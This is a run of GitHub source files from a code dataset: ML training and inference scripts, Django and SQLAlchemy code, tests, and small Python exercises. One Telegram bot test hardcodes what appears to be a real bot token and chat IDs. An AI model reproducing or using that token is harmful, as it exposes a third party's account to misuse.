great!\")\n","repo_name":"krissolui/google-it-automation-with-python","sub_path":"2-using-python-to-interact-with-the-operation-system/health_check.py","file_name":"health_check.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17418201051","text":"import os\nimport tensorflow as tf\nimport numpy as np\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom alexnet_inference import conv_net\nimport sys\n\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\nMODEL_SAVE_PATH = \"model_svhn10/\"\nMODEL_NAME = \"model1000.ckpt.data-00000-of-00001\"\nimgPath = \"../datasets/svhn/mchar_test_a\"\nfrom natsort import natsorted\n\n\nimage = tf.placeholder(tf.float32, [None, 224, 224, 1])\ntest_logit0, test_logit1, test_logit2, test_logit3 = conv_net(image, 11, 0.2,\n reuse=False, is_training=False)\n#\n# probabilities0 = tf.nn.softmax(test_logit0)\n# probabilities1 = tf.nn.softmax(test_logit1)\n# probabilities2 = tf.nn.softmax(test_logit2)\n# probabilities3 = tf.nn.softmax(test_logit3)\n# probabilities4 = tf.nn.softmax(test_logit4)\n\n# 获取最大概率的标签位置\ncorrect_prediction0 = tf.argmax(test_logit0, 1)\ncorrect_prediction1 = tf.argmax(test_logit1, 1)\ncorrect_prediction2 = tf.argmax(test_logit2, 1)\ncorrect_prediction3 = tf.argmax(test_logit3, 1)\n# correct_prediction4 = tf.argmax(test_logit4, 1)\n\nsaver = tf.train.Saver()\n\n\ndef plot_images(images, labelList, cnt):\n for i in np.arange(0, 16):\n plt.subplot(4, 4, i + 1)\n plt.axis('off')\n title = \"\"\n for i in labelList:\n title += str(labelList[i])\n plt.title(title, fontsize=10)\n plt.subplots_adjust(wspace=0.5, hspace=0.5)\n plt.imshow(images[i])\n plt.savefig('./name.jpg')\n plt.show()\n\n\nimageList = list()\nlabelList = list()\ncnt = 0\npredict_val = list()\ndata = dict()\nwith tf.Session() as sess:\n sess.run((tf.global_variables_initializer(), tf.local_variables_initializer()))\n\n # 加载检查点状态,这里会获取最新训练好的模型\n ckpt = tf.train.latest_checkpoint(MODEL_SAVE_PATH)\n # ckpt = tf.train.get_checkpoint_state(MODEL_SAVE_PATH)\n if ckpt:\n # 加载模型和训练好的参数\n saver.restore(sess, ckpt)\n print(\"加载模型成功:\" + ckpt)\n\n # 通过文件名得到模型保存时迭代的轮数.格式:model.ckpt-6000.data-00000-of-00001\n # global_step = ckpt.model_checkpoint_path.split('/')[-1].split('-')[-1]\n\n for im in natsorted(os.listdir(imgPath)):\n num = len(os.listdir(imgPath))\n labelList = list()\n\n cnt += 1\n imgpath = os.path.join(imgPath, im)\n img = Image.open(imgpath)\n\n img = img.resize((224, 224))\n image_ = np.array(img.convert('L'))\n image_ = image_.reshape([1, 224, 224, 1])\n\n # image = np.array(image.convert('L')) # 转成灰度图即可 尺寸变成 224*224*1\n\n # 获取预测结果\n label0, label1, label2, label3 = sess.run([\n correct_prediction0,\n correct_prediction1,\n correct_prediction2,\n correct_prediction3], feed_dict={image: image_})\n\n # 获取此标签的概率\n labelList.append(label0[0])\n labelList.append(label1[0])\n labelList.append(label2[0])\n labelList.append(label3[0])\n # labelList.append(label4[0])\n\n imageList.append(img)\n sorted(data.keys())\n tempLabel = \"\"\n for i in range(4):\n if labelList[i] != 10:\n tempLabel += str(labelList[i])\n data[im] = tempLabel\n\n # print(\"After %s training step(s), validation label0 = %d, label1 = %d, label2 = %d, label3 = %d, \"\n # \"the img path is %s\" % (global_step, label0[0], label1[0], label2[0], label3[0], imgpath))\n sys.stdout.write('\\r>> Creating image %d/%d' % (cnt + 1, num))\n sys.stdout.flush()\n sys.stdout.write('\\n')\n sys.stdout.flush()\n print('the result is:', data)\n result = pd.DataFrame.from_dict(data, orient='index', columns=['label'])\n result = result.reset_index().rename(columns={'index': 'id'})\n result.to_csv('/raid/bruce/datasets/svhn/test_a_result_64.csv', index=False)\n print(\"predict is done!\")\n\n plot_images(imageList, labelList, cnt)\n else:\n print(\"模型加载失败!\" + ckpt.model_checkpoint_path)\n","repo_name":"bruce1408/Tensorflow_learning","sub_path":"week10/src/10_8_predict.py","file_name":"10_8_predict.py","file_ext":"py","file_size_in_byte":4300,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"} +{"seq_id":"185991109","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport runner # noqa\n\nfrom core.testcase import TestCase, main\n\nimport errno\nimport fcntl\nimport os\n\n\nclass T(TestCase):\n @classmethod\n def prepare(cls):\n pass\n\n def test(self):\n running_flag_path = os.path.join(self.meta_paths.lock_path, 'report_running.lock')\n with open(running_flag_path, 'r') as f:\n try:\n fcntl.flock(f, fcntl.LOCK_EX | fcntl.LOCK_NB)\n except IOError as e:\n self.assertEqual(e.errno, errno.EAGAIN)\n else:\n self.fail(\"Flag is not set\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"market/GENERAL/test_running_flag.py","file_name":"test_running_flag.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36582885462","text":"# Exponent functions\ndef raise_to_power(base_num, pow_num):\n result = 1\n for index in range(pow_num):\n result = result * base_num\n return result\n\n\nprint(raise_to_power(3, 2))\n\n# 2D list\nnumber_grid = [\n [1, 2, 3],\n [4, 5, 6],\n [7, 8, 9],\n [10]\n]\n\nprint(number_grid[2][2])\nprint(\"It is time to move on to nested for loops!\")\n\n# Nested for loop\nfor row in number_grid:\n for element in row:\n print(element)\n\n\n# A translator that dislikes vowels and prefers the letter \"G\"\ndef translate(phrase):\n translation = \"\"\n for letter in phrase:\n if letter.lower() in \"aeiou\":\n if letter.isupper():\n translation = translation + \"G\"\n else:\n translation = translation + \"g\"\n\n else:\n translation = translation + letter\n return translation\n\n\nprint(translate(input(\"Enter a phrase: \")))\n","repo_name":"Isaac-Tait/Deep-Learning","sub_path":"Python/scratchPad4.py","file_name":"scratchPad4.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2108219464","text":"import pandas as pd\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport matplotlib.pyplot as plt\nfrom sklearn.feature_selection import chi2\nimport numpy as np\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.svm import LinearSVC\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.naive_bayes import MultinomialNB\nimport seaborn as sns\n\n\n\nclass demo_multi_class:\n\n\n def __init__(self):\n self.df = None\n self.resample = False\n self.random_state = 1534\n self.features = None\n self.labels = None\n\n\n def prepare_df(self):\n '''\n convert labels to ints and prepare feature/label columns\n :return:\n '''\n df = self.df\n # clean and convert labels to indicees\n df.columns = ['ccn', 'text_lab']\n df.dropna(subset=['ccn'], inplace=True)\n df['label'] = pd.Categorical(df['text_lab'])\n df['label'] = df['label'].cat.codes\n\n df['category_id'] = df['text_lab'].factorize()[0]\n category_id_df = df[['text_lab', 'category_id']].drop_duplicates().sort_values('category_id')\n self.category_to_id = dict(category_id_df.values)\n id_to_category = dict(category_id_df[['category_id', 'text_lab']].values)\n df.head()\n\n # random sample data frame\n if self.resample is True:\n df = df.sample(n=5000, random_state=self.random_state)\n self.df = df\n\n # convert to feature format\n self.tfidf = TfidfVectorizer(sublinear_tf=True, min_df=5, norm='l2',\n encoding='latin-1', ngram_range=(1, 2),\n stop_words='english')\n self.features = tfidf.fit_transform(df.ccn).toarray()\n self.labels = df.label\n print(features.shape)\n\n\n def summarise_sample_labels(self, plot_file='sample_distribution.pdf'):\n '''\n generate a figure summarising the sample stats\n :param plot_file:\n :return:\n '''\n # number of entries in each class\n df = self.df.copy()\n fig = plt.figure(figsize=(8, 6))\n df.groupby('text_lab').count().iloc[:, 0].plot.bar(ylim=0)\n plt.savefig(plot_file)\n plt.close()\n\n\n def feature_selection_analysis(self):\n '''\n isolate the most correlated words with each class\n :return:\n '''\n features = self.features\n labels = self.labels\n tfidf = self.tfidf\n category_to_id = self.category_to_id\n # feature selection analysis\n N = 2\n for Product, category_id in sorted(category_to_id.items()):\n features_chi2 = chi2(features, labels == category_id)\n indices = np.argsort(features_chi2[0])\n feature_names = np.array(tfidf.get_feature_names())[indices]\n unigrams = [v for v in feature_names if len(v.split(' ')) == 1]\n bigrams = [v for v in feature_names if len(v.split(' ')) == 2]\n print(\"# '{}':\".format(Product))\n print(\" . Most correlated unigrams:\\n. {}\".format('\\n. '.join(unigrams[-N:])))\n print(\" . Most correlated bigrams:\\n. {}\".format('\\n. '.join(bigrams[-N:])))\n\n","repo_name":"drds1/projects","sub_path":"nlp_test/nlp_test_2.py","file_name":"nlp_test_2.py","file_ext":"py","file_size_in_byte":3433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"20949837577","text":"import time\r\n\r\nfrom keras.models import Sequential\r\nfrom keras.layers.core import Dense, Dropout, Activation\r\nfrom keras.layers.recurrent import LSTM\r\nfrom keras.models import load_model\r\n\r\n\r\ndef build_model(layers):\r\n d = 0.3\r\n model = Sequential()\r\n\r\n model.add(LSTM(256, input_shape=(layers[1], layers[0]), return_sequences=True))\r\n model.add(Dropout(d))\r\n\r\n model.add(LSTM(256, input_shape=(layers[1], layers[0]), return_sequences=False))\r\n model.add(Dropout(d))\r\n\r\n model.add(Dense(32, kernel_initializer=\"uniform\", activation='relu'))\r\n model.add(Dense(1, kernel_initializer=\"uniform\", activation='linear'))\r\n\r\n start = time.time()\r\n model.compile(loss='mse', optimizer='adam', metrics=['accuracy'])\r\n print(\"Compilation Time : \", time.time() - start)\r\n\r\n return model","repo_name":"Anttoni-Pykalisto/News-Analysis-Predicting-Market","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"203718206","text":"import requests\r\n\r\n# print(\"asdf\")\r\n#\r\n# teleurl = \"https://api.telegram.org/bot935475572:AAFnM0-sOYGhaUNaMbMD68dEeF7v24tCBu4/sendMessage\"\r\n#\r\n# params = {'chat_id':'972295152', 'text':'adfadsf'}\r\n#\r\n# res = requests.get(teleurl, params=params)\r\n\r\nteleurl = \"https://api.telegram.org/bot935475572:AAFnM0-sOYGhaUNaMbMD68dEeF7v24tCBu4/sendMessage\"\r\nparams = {'chat_id':'-1001276900321', 'text':'hihi'}\r\nres = requests.get(teleurl, params=params)\r\n\r\n\"\"\"\r\n리눅스 백그라운드 실행 :\r\nhttps://sjwiq200.tistory.com/16\r\n\r\n텔레그램 챗봇 user_id 구하기 :\r\n\"https://api.telegram.org/bot935475572:AAFnM0-sOYGhaUNaMbMD68dEeF7v24tCBu4/getUpdates\"\r\n위 url에서 bot뒤에 내 봇의 토큰값을 입력하고 엔터치면\r\njson형태로 해당 봇이 받았던 메시지를 볼 수 있고 , 여기서 메시지를 보낸이의 user_id를 확인할 수 있다.\r\n\r\n텔레그램 restAPI를 활용한 파이썬으로 메시지 보내기\r\nhttps://hatpub.tistory.com/60\r\n\r\n\r\n\"\"\"\r\n","repo_name":"AllenChoiwonwoo/ec2Backup","sub_path":"test/telegram_bot_test1.py","file_name":"telegram_bot_test1.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12037646902","text":"\"\"\"\nThis module provides some abstract methods to remove code duplication in the DAMs.\n\"\"\"\nimport typing\nfrom typing import Dict, Iterable\n\nfrom sqlalchemy.orm import joinedload\nfrom sqlalchemy.sql import func\n\nfrom transiter.db import dbconnection, models\n\n\ndef create(DbEntity: models.Base, entity=None):\n \"\"\"\n Create a database entity.\n\n :param DbEntity: the entity's type\n :param entity: optionally an instance of this type that will instead be added\n to the session\n :return: the entity, which is in the session\n \"\"\"\n session = dbconnection.get_session()\n if entity is None:\n entity = DbEntity()\n session.add(entity)\n return entity\n\n\ndef get_by_id(DbEntity: models.Base, id_):\n \"\"\"\n Get an entity by its ID.\n\n :param DbEntity: the entity's type\n :param id_: the entity's ID\n :return: the entity, if it exists in the DB, or None otherwise\n \"\"\"\n session = dbconnection.get_session()\n return session.query(DbEntity).filter(DbEntity.id == id_).one_or_none()\n\n\ndef list_in_system(DbEntity: models.Base, system_id, order_by_field=None, ids=None):\n \"\"\"\n List all entities of a certain type that are in a given system. Note this method\n only works with entities that are direct children of the system.\n\n :param DbEntity: the entity's type\n :param system_id: the system's ID\n :param order_by_field: optional field to order the results by\n :param ids: ids to filter on\n :return: list of entities of type DbEntity\n \"\"\"\n if ids is not None and len(ids) == 0:\n return []\n session = dbconnection.get_session()\n query = (\n session.query(DbEntity)\n .filter(DbEntity.system_pk == models.System.pk)\n .filter(models.System.id == system_id)\n )\n if ids is not None:\n query = query.filter(DbEntity.id.in_(ids))\n if order_by_field is not None:\n query = query.order_by(order_by_field)\n return query.all()\n\n\ndef get_in_system_by_id(DbEntity: models.Base, system_id, id_):\n \"\"\"\n Get an entity of a certain type that is in a given system. Note this method\n only works with entities that are direct children of the system.\n\n :param DbEntity: the entity's type\n :param system_id: the system's ID\n :param id_: the entity's ID\n :return: list of entities of type DbEntity\n \"\"\"\n session = dbconnection.get_session()\n return (\n session.query(DbEntity)\n .filter(DbEntity.system_pk == models.System.pk)\n .filter(models.System.id == system_id)\n .filter(DbEntity.id == id_)\n .options(joinedload(DbEntity.system))\n .one_or_none()\n )\n\n\ndef get_id_to_pk_map(\n DbEntity: models.Base, system_pk: int = None, ids: Iterable[str] = None\n) -> Dict[str, int]:\n \"\"\"\n Get an map of entity ID to entity PK for all entities of a given type in a system.\n Note this method only works with entities that are direct children of the system.\n \"\"\"\n if ids is not None:\n ids = list(ids)\n id_to_pk = {id_: None for id_ in ids}\n else:\n id_to_pk = {}\n session = dbconnection.get_session()\n query = session.query(DbEntity.id, DbEntity.pk)\n if system_pk is not None:\n query = query.filter(DbEntity.system_pk == system_pk)\n if ids is not None:\n query = query.filter(DbEntity.id.in_(ids))\n for (id_, pk) in query.all():\n id_to_pk[id_] = pk\n return id_to_pk\n\n\n# DbEntity is a class\n# noinspection PyPep8Naming\ndef get_id_to_pk_map_by_feed_pk(DbEntity: typing.Type[models.Base], feed_pk):\n id_to_pk = {}\n session = dbconnection.get_session()\n query = (\n session.query(DbEntity.id, DbEntity.pk)\n .join(models.FeedUpdate, DbEntity.source_pk == models.FeedUpdate.pk)\n .filter(models.FeedUpdate.feed_pk == feed_pk)\n )\n for (id_, pk) in query.all():\n id_to_pk[id_] = pk\n return id_to_pk\n\n\n# DbEntity is a class\n# noinspection PyPep8Naming\ndef delete_stale_entities(\n DbEntity: typing.Type[models.Base], feed_update: models.FeedUpdate\n):\n session = dbconnection.get_session()\n (\n session.query(DbEntity)\n .filter(DbEntity.source_pk == models.FeedUpdate.pk)\n .filter(models.FeedUpdate.feed_pk == feed_update.feed_pk)\n .filter(models.FeedUpdate.pk != feed_update.pk)\n ).delete(synchronize_session=False)\n\n\n# DbEntity is a class\n# noinspection PyPep8Naming\ndef list_stale_entities(\n DbEntity: typing.Type[models.Base], feed_update: models.FeedUpdate\n):\n session = dbconnection.get_session()\n query = (\n session.query(DbEntity)\n .join(models.FeedUpdate, DbEntity.source_pk == models.FeedUpdate.pk)\n .filter(models.FeedUpdate.feed_pk == feed_update.feed_pk)\n .filter(models.FeedUpdate.pk != feed_update.pk)\n )\n return query.all()\n\n\ndef count_number_of_related_entities(relationship, instance) -> int:\n \"\"\"\n Count the number of entities related to an instance along a specified relationship.\n \"\"\"\n base_type = relationship.class_\n related_type = relationship.mapper.class_\n session = dbconnection.get_session()\n query = (\n session.query(func.count(1))\n .select_from(base_type)\n .join(related_type, relationship)\n .filter(getattr(base_type, \"pk\") == instance.pk)\n )\n return query.one()[0]\n","repo_name":"jamespfennell/transiter-python","sub_path":"transiter/db/queries/genericqueries.py","file_name":"genericqueries.py","file_ext":"py","file_size_in_byte":5310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12709251317","text":"from django.urls import reverse\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase\nfrom django.contrib.auth import get_user_model\nfrom .models import Exercise\n\n\nclass ExerciseTests(APITestCase):\n @classmethod\n def setUpTestData(cls):\n tester = get_user_model().objects.create_user(\n username='USERNAME1', password='uncommon'\n )\n tester.save()\n\n test_exercise = Exercise.objects.create(\n person=tester,\n muscle_worked='Hamstring',\n exercise_name='Hamstring Curl',\n description='Seated Hamstring Curl Machine',\n weight=70,\n sets=3,\n reps=12,\n )\n test_exercise.save()\n\n def test_get_exercise(self):\n response = self.client.get(reverse('exercise_detail', args=(1,)))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n thing = response.data\n self.assertEqual(thing['weight'], 70)\n\n def test_get_exercise_list(self):\n response = self.client.get(reverse('exercise_list'), args=(1,))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n data = response.data\n self.assertEqual(len(data), 1)\n self.assertEqual(data[0][\"muscle_worked\"], \"Hamstring\")\n\n def test_create(self):\n url = reverse(\"exercise_list\")\n data = {\"person\": 1, \"muscle_worked\": \"quads, hamstring\", \"weight\": 135, \"sets\": 4, \"reps\": 12,\n \"exercise_name\": \"leg press\", \"description\": \"leg press machine\"}\n response = self.client.post(url, data)\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n data = Exercise.objects.all()\n self.assertEqual(len(data), 2)\n self.assertEqual(Exercise.objects.get(id=2).description, \"leg press machine\")\n\n def test_update_thing(self):\n url = reverse(\"exercise_detail\", args=(1,))\n data = {\"person\": 1, \"muscle_worked\": \"Hamstring\", \"weight\": 75, \"sets\": 3, \"reps\": 10,\n \"exercise_name\": \"Hamstring Curl\", \"description\": \"Seated Hamstring Curl Machine\"}\n response = self.client.put(url, data)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n update = Exercise.objects.get(id=1)\n self.assertEqual(update.muscle_worked, data[\"muscle_worked\"])\n self.assertEqual(update.weight, data[\"weight\"])\n self.assertEqual(update.reps, data[\"reps\"])\n\n def test_delete_thing(self):\n url = reverse(\"exercise_detail\", args=(1,))\n response = self.client.delete(url)\n self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)\n deleted = Exercise.objects.all()\n self.assertEqual(len(deleted), 0)\n","repo_name":"mramirez92/drf-api","sub_path":"exercise/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28109867070","text":"from itertools import product\nimport numpy as np\n\n\ndef boxgrid(bounds, N, interior=True, chebyshev=False, surface=False):\n \"\"\" n-dimensional box grid, either just the exterior, or with interior points as well.\n Inputs:\n bounds is an n-length list/tuple with each element being the (min,max) along that dimension\n N is the number of samples per dimension, either a scalar or n-length list of integers\n interior indicates whether or not only surface points are kept\n chebyshev uses Chebyshev nodes instead of equal spacing \n surface keeps points along the surface, otherwise only edge points are kept.\n\n surface=True is only meaningful for n>2 and interior=False\n Setting N=2 will return just the vertices of the hyper-rectangle.\n\n \"\"\"\n if isinstance(N, int):\n N = [N for _ in bounds]\n if surface:\n subfactor = 1\n else:\n subfactor = len(bounds) - 1\n\n n = len(bounds)\n if chebyshev:\n vectors = [0.5*(1-np.cos(np.pi*np.arange(0, ni)/(ni-1)))*(b[1]-b[0])+b[0] for b, ni in zip(bounds, N)]\n else:\n vectors = [np.linspace(b[0], b[1], ni) for b, ni in zip(bounds, N)]\n\n grid_points = np.array(list(product(*vectors)))\n if not interior: # Remove the interior points\n bmin = np.array(bounds)[:,0]\n bmax = np.array(bounds)[:,1]\n ikeep = []\n for i, pt in enumerate(grid_points):\n # In n-dimensions, >=(n-1) points must be extremal to constitute an edge\n # Only 1 pt must be extremal required to be a surface point ?\n if np.count_nonzero(np.logical_or(pt-bmin == 0, pt-bmax == 0)) >= subfactor: # Count is faster than sum for some reason\n ikeep.append(i)\n grid_points = grid_points[ikeep]\n return grid_points\n\n\ndef test_boxgrid():\n\n # 2-d example\n import matplotlib.pyplot as plt\n import time\n\n pts = boxgrid(((-3, 3),(-1, 1)), (10, 6), interior=True, chebyshev=True)\n plt.figure()\n plt.plot(pts[:,0], pts[:,1], 'o')\n\n pts = boxgrid(((-3, 3), (-1, 1)), 5, interior=False, chebyshev=True)\n plt.figure()\n plt.plot(pts[:,0], pts[:,1], 'o')\n\n # Demonstrate that the correct number of vertices is returned for higher dimensions\n # n = 10\n # bounds = [(0,1)]*n\n # N = 2\n # t0 = time.time()\n # pts = boxgrid(bounds, N, interior=False)\n # assert(len(pts)==N**10)\n\n # print(\"Time elapsed: {} s\".format(time.time()-t0))\n\n plt.show()\n\nif __name__ == \"__main__\":\n test_boxgrid()\n","repo_name":"CDNoyes/EDL-Py","sub_path":"Utils/boxgrid.py","file_name":"boxgrid.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"72"} +{"seq_id":"22915662590","text":"import cv2\nimport numpy as np\n\n\ndef gray_imload(path): # 이미지로드\n return toGray(cv2.imread(path))\n\n\ndef toBinary(img, flag=125): # 이미지 이진화\n row = np.shape(img)[0]\n col = np.shape(img)[1]\n new_img = np.copy(img) # 이미지 복사\n for x in range(0, row):\n for y in range(0, col):\n if img[x, y] > flag: # 임계값과 비교\n new_img.itemset(x, y, 255)\n else:\n new_img.itemset(x, y, 0)\n return new_img\n\n\ndef toGray(img):\n row = np.shape(img)[0]\n col = np.shape(img)[1]\n new_img = np.zeros((row, col), np.uint8)\n for x in range(row):\n for y in range(col):\n new_img.itemset(x, y, sum(img[x, y])/3) # rgb값을 합쳐 3으로나눔\n\n return new_img\n\n\nif __name__ == '__main__':\n img_src = gray_imload(\"howell.jpg\") # 그레이 이미지\n binary_img = toBinary(img_src, 100) # 이진이미지\n cv2.imshow('src', img_src)\n\n cv2.imshow('binary', binary_img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n","repo_name":"sunsu2737/-Image_vision_processing","sub_path":"레포트9/toBinary.py","file_name":"toBinary.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19749554202","text":"import aiodocker\nfrom aiohttp import web\nimport alembic.config\nimport asyncio\nfrom dynaconf import settings\nimport importlib\nimport jwt as _jwt\nimport pytest\nimport sqlalchemy as sa\nimport time\n\nfrom awesome_applejuice_backend.models import user\nfrom awesome_applejuice_backend.server import init_root_app\n\n\ndef get_db_engine():\n username = settings.USERNAME\n password = settings.PASSWORD\n host = settings.HOST\n dbname = settings.DBNAME\n db_engine = sa.create_engine(f'mysql+pymysql://{username}:{password}@{host}/{dbname}')\n return db_engine\n\n\ndef wait_db_ready():\n db_engine = get_db_engine()\n print('Waiting for DB ready...')\n while True:\n try:\n db_engine.execute('SHOW DATABASES;')\n except sa.exc.OperationalError:\n time.sleep(3)\n else:\n print('DB is ready now.')\n break\n\n\n@pytest.fixture(scope='session')\ndef test_user():\n return {\n 'id': 'default-test-id',\n 'nickname': 'default-test-nickname',\n 'password': 'default-test-password'\n }\n\n\n@pytest.fixture(scope='session', autouse=True)\ndef create_database(test_user):\n docker = aiodocker.Docker()\n container = None\n\n async def _create_database():\n nonlocal container\n\n container = await docker.containers.create_or_replace(\n config={\n 'ExposedPorts': {\n '3306/tcp': {},\n },\n 'Env': [\n 'MYSQL_ROOT_PASSWORD=test-password',\n 'MYSQL_DATABASE=awesome-applejuice-db',\n ],\n 'Image': 'mysql:latest',\n 'HostConfig': {\n 'PortBindings': {\n '3306/tcp': [\n {\n 'HostPort': '3306'\n }\n ]\n },\n }\n },\n name='test-mysql-db',\n )\n await container.start()\n\n loop = asyncio.get_event_loop()\n loop.run_until_complete(_create_database())\n\n wait_db_ready()\n\n # Perform migration.\n alembic_migration_cmd = ['-c', settings.ALEMBIC_INI_PATH, 'upgrade', 'head']\n alembic.config.main(argv=alembic_migration_cmd)\n\n # Insert default values for testing.\n db_engine = get_db_engine()\n query = (user.insert().values(test_user))\n db_engine.execute(query)\n\n yield\n\n async def _teardown_database():\n nonlocal container\n\n await container.delete(force=True)\n await docker.close()\n\n loop.run_until_complete(_teardown_database())\n\n\n@pytest.fixture\nasync def prepare_app():\n\n app = web.Application()\n init_root_app(app)\n\n root_app_configs = [\n 'db_engine',\n ]\n\n subapps = [\n 'auth',\n 'articles',\n 'orders',\n ]\n\n for subapp_name in subapps:\n subapp_module = importlib.import_module(f'.{subapp_name}', 'awesome_applejuice_backend.subapps')\n subapp, subapp_middlewares = getattr(subapp_module, 'create_subapp', None)()\n app.add_subapp(f'/{subapp_name}', subapp)\n app.middlewares.extend(subapp_middlewares)\n for config in root_app_configs:\n subapp[config] = app[config]\n\n runner = web.AppRunner(app)\n await runner.setup()\n site = web.TCPSite(runner, 'localhost', 8080)\n await site.start()\n\n yield app\n\n await runner.cleanup()\n\n\n@pytest.fixture\ndef auth_header(test_user):\n jwt_byte = _jwt.encode(test_user,\n 'applejuice-backend-jwt-secret-key',\n algorithm='HS256')\n jwt = jwt_byte.decode('utf-8')\n return {'Authorization': f'Bearer {jwt}'}\n","repo_name":"Zeniuus/awesome-applejuice","sub_path":"server/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":3701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32055513430","text":"from collections import namedtuple\n\n\nCustomer = namedtuple(\"Customer\", [\"name\", \"fidelity\"])\n\n\nclass LineItem:\n\n def __init__(self, product, price, quantity):\n self.product = product\n self.price = price\n self.quantity = quantity\n\n def total(self):\n return self.quantity * self.price\n\n \nclass Order:\n\n def __init__(self, customer, cart, promotion=None):\n self.customer = customer\n self.cart = list(cart)\n self.promotion = promotion\n\n def total(self):\n if not hasattr(self, '__total'):\n self.__total = sum(item.total() for item in self.cart)\n return self.__total\n\n def due(self):\n if self.promotion is None:\n discount = 0\n else:\n discount = self.promotion(self)\n return self.total() - discount\n\n def __repr__(self):\n fmt = \"\"\n return fmt.format(self.total(), self.due())\n\n \ndef fidelity_promo(order):\n return order.total() * .05 if order.customer.fidelity >= 10000 else 0\n\n\ndef bulkitem_promo(order):\n discount = 0\n for item in order.cart:\n if item.quantity >= 20:\n discount += item.total() * .1\n return discount\n\n\ndef largeorder_promo(order):\n distinct_item = {item.product for item in order.cart}\n if len(distinct_item) >= 10:\n return order.total() * .07\n return 0\n\n\nfelix = Customer(\"Felix Stephen\", 0)\nfelsen = Customer(\"Stephen Felix\", 11000)\ncart = [LineItem(\"pensil\", 4, 5),\n LineItem(\"banana\", 2, 7),\n LineItem(\"apple\", 3, 25)]\nprint(Order(felix, cart, fidelity_promo))\nprint(Order(felsen, cart, fidelity_promo))\nbanana_cart = [LineItem(\"TN Banana\", 10, 4),\n LineItem(\"KL Banana\", 10, 7)]\nprint(Order(felix, banana_cart, bulkitem_promo))\nprint(Order(felix, banana_cart, largeorder_promo))\n","repo_name":"felsen/felsen-test","sub_path":"customer.py","file_name":"customer.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5831701416","text":"from pytube import YouTube\nfrom time import sleep\n\nprint('\\t Bem vindo ao downloader de videos do youtube!')\nprint ('-'*80)\n\nlink = input('Insira o Link do video que deseja baixar: ')\nyt = YouTube(link)\nstream = yt.streams.get_highest_resolution()\nprint('Seu video está sendo baixado...')\nsleep(1)\nstream.download()\nprint('Seu video foi baixado com Sucesso!, aproveite!')","repo_name":"GabrielLucas777/Baixador-de-videos-do-youtube","sub_path":"youtube video downloader.py","file_name":"youtube video downloader.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11037609909","text":"from data_preprocess.preprocess import Preprocess\nfrom sklearn.manifold import TSNE\nfrom pairwise_distances import *\n#from data_setup import df_to_np, calculate_weights\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\nimport scipy.stats as ss\nfrom sklearn.preprocessing import LabelEncoder, MinMaxScaler, QuantileTransformer, KBinsDiscretizer, OneHotEncoder\nfrom scipy.spatial.distance import pdist, squareform\n\ndef preprocess(df,datatypes, all=True):\n new_df=pd.DataFrame()\n def preprocess_type(col):\n\n if col == 'label' or col == 'ts' or col == 'type' or col == 'label string':\n return 'default'\n elif (df[col].dtype == int or df[col].dtype == float) and (len(df[col].unique()) >= 60):\n return 'minmax'\n else:\n return 'categorical'\n\n if all:\n temp_df = df\n\n else:\n if 'label' in datatypes:\n temp_df = df[df['label'] == 0]\n else:\n temp_df = df[df['label string'] == 'Benign']\n\n for col in df.columns:\n\n if col in datatypes:\n continue\n type_ = preprocess_type(col)\n if type_ == 'default':\n new_df[col] = df[col]\n\n elif type_ == 'categorical':\n #print(\"Processing {} as category\".format(col))\n enc = LabelEncoder()\n label_to_num=enc.fit_transform(np.expand_dims(temp_df[col].values, axis=1).ravel())\n\n new_df[col] = label_to_num.ravel()\n elif type_ == 'minmax':\n #print(\"Processing {} as minmax\".format(col))\n enc = MinMaxScaler()\n min_max_values 